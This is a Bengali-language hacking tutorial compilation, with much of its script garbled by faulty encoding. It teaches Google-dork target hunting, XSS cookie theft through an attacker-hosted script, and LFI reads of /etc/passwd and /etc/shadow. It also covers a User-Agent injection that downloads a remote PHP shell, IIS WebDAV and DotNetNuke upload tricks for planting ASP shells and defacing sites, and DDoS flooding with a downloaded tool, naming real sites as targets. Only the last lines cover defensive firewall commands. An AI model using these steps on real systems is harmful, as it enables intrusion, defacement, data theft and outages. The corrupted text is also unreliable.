অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

